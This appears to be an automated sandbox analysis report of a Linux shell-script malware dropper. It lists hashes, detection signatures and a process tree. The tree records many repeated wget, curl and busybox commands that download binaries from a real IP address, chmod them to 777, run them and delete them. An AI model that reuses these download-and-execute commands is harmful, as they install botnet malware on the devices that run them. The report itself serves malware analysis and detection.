6af92450406d0da51d3286ebbee57728a914a96a347d92a6cbec74c2a66e490f

Analysis

max time kernel
81s
max time network
83s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
19/11/2024, 04:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6af92450406d0da51d3286ebbee57728a914a96a347d92a6cbec74c2a66e490f.sh
Size 10KB
Sample241119-fb76la1dqq
SHA256 6af92450406d0da51d3286ebbee57728a914a96a347d92a6cbec74c2a66e490f
MD5 0c94b61e9320290b422b40af0667aa4b
SHA1 5aa7f5bce1156ea88651cb784b9fbb20e4e379da
SHA512 72396f006b01cda0ec5da91ce55a5735b8d6aaa491bdbb6127987a9e19a06522944bb9b457b135bc503f04ba15ab4765ffc0ba9fe935a7f15bf846a666473fc7
SSDEEP 192:my+cafru7b/s+yw7ckgOkaOkmOkkknkvk4zZz5zIJtK76GG7WKe6qUqcqqHbTnTc:fF1VkjknkkknkvkalFIJtKmK5/HqHb5K
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
925	chmod
829	chmod
907	chmod
919	chmod
883	chmod
889	chmod
973	chmod
761	chmod
751	chmod
820	chmod
849	chmod
943	chmod
961	chmod
979	chmod
738	chmod
783	chmod
949	chmod
745	chmod
877	chmod
895	chmod
901	chmod
937	chmod
955	chmod
870	chmod
913	chmod
812	chmod
967	chmod
931	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4	curl
File opened for modification	/tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM	curl
File opened for modification	/tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa	curl
File opened for modification	/tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa	curl
File opened for modification	/tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4	curl
File opened for modification	/tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE	curl
File opened for modification	/tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN	curl
File opened for modification	/tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH	curl
File opened for modification	/tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH	curl
File opened for modification	/tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA	curl
File opened for modification	/tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE	curl
File opened for modification	/tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6	curl
File opened for modification	/tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM	curl
File opened for modification	/tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO	curl
File opened for modification	/tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP	curl
File opened for modification	/tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C	curl
File opened for modification	/tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi	curl
File opened for modification	/tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH	curl
File opened for modification	/tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA	curl
File opened for modification	/tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi	curl
File opened for modification	/tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE	curl
File opened for modification	/tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO	curl
File opened for modification	/tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE	curl
File opened for modification	/tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN	curl
File opened for modification	/tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH	curl
File opened for modification	/tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP	curl
File opened for modification	/tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6	curl
File opened for modification	/tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C	curl

/tmp/6af92450406d0da51d3286ebbee57728a914a96a347d92a6cbec74c2a66e490f.sh
/tmp/6af92450406d0da51d3286ebbee57728a914a96a347d92a6cbec74c2a66e490f.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:717
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:735
- /bin/chmod
  chmod 777 hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  ./hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:740
- /usr/bin/wget
  wget http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:744
- /bin/chmod
  chmod 777 nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  ./nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:747
- /usr/bin/wget
  wget http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:750
- /bin/chmod
  chmod 777 sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  ./sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:753
- /usr/bin/wget
  wget http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:758
- /bin/chmod
  chmod 777 sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  ./sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - Executes dropped EXE
  PID:762
- /bin/rm
  rm sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:765
- /usr/bin/wget
  wget http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:780
- /bin/chmod
  chmod 777 yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  ./yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:788
- /usr/bin/wget
  wget http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:807
- /bin/chmod
  chmod 777 bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  ./bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:815
- /usr/bin/wget
  wget http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:819
- /bin/chmod
  chmod 777 tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  ./tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:822
- /usr/bin/wget
  wget http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:828
- /bin/chmod
  chmod 777 bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  ./bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:831
- /usr/bin/wget
  wget http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:832
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:844
- /bin/chmod
  chmod 777 NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  ./NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:852
- /usr/bin/wget
  wget http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:867
- /bin/chmod
  chmod 777 l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  ./l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:876
- /bin/chmod
  chmod 777 0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  ./0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm 0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:882
- /bin/chmod
  chmod 777 3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  ./3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm 3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:888
- /bin/chmod
  chmod 777 9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  ./9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm 9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:894
- /bin/chmod
  chmod 777 reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  ./reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:900
- /bin/chmod
  chmod 777 yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  ./yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:906
- /bin/chmod
  chmod 777 bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  ./bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:912
- /bin/chmod
  chmod 777 tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  ./tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:918
- /bin/chmod
  chmod 777 sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  ./sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:924
- /bin/chmod
  chmod 777 NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  ./NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:930
- /bin/chmod
  chmod 777 l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  ./l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:936
- /bin/chmod
  chmod 777 0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  ./0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm 0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:942
- /bin/chmod
  chmod 777 bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  ./bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
  2⤵
  PID:945
- /usr/bin/wget
  wget http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:948
- /bin/chmod
  chmod 777 9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  ./9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm 9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:954
- /bin/chmod
  chmod 777 reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  ./reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:960
- /bin/chmod
  chmod 777 3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  ./3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
